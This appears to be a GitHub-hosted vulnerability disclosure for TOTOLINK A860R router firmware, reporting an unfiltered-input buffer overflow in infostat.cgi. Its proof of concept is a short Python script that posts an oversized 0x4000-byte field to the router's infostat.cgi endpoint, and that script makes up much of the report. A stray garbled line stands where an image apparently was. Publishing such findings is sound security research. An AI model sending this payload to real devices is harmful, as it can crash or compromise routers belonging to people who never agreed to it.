Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Firmware:

TOTOLINK:A860R V4.1.2cu.5182_B20201027

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=62&ids=36

Detail:

Parameters in infostat.cgi are not filtered, causing a buffer overflow vulnerability

CZ}53``7N)N5EZ{Y6JDUJ(L

The fread function copies data directly to the V11 register without filtering, causing a buffer overflow

poc:

import requests
data = {'a':'a'*0x4000}
res = requests.post("http://192.168.0.1/cgi-bin/infostat.cgi", data=data)
print(res.content)